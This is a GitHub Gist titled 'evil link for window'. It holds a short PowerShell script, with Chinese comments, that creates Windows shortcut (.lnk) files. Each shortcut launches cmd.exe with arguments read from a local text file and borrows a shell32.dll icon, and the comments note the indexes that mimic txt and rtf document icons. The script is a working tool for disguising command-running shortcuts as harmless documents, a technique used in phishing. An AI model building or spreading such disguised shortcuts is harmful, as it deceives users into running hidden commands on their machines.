Last active
March 7, 2020 10:19
-
-
Save wonderkun/ce5ab4205d5e456df0fa91df4afb33dd to your computer and use it in GitHub Desktop.
evil link for window
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// 可以遍历 shell32.dll的参数可以获取各种不一样的图表。 好像还可以指定自己的图表,但是没有测试出来。 | |
write-host "shutcut $($args[0]), and file name $($args[0])" | |
$file = Get-Content "C:\Users\wonderkun\Desktop\1.txt" | |
$WshShell = New-Object -comObject WScript.Shell | |
$Shortcut = $WshShell.CreateShortcut("C:\Users\wonderkun\Desktop\test\$($args[0]).lnk") | |
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe" | |
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,$($args[0])" | |
$Shortcut.Arguments = ' '+ $file | |
$Shortcut.Save() | |
// 70 是 txt的图标,1是rft的图标 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment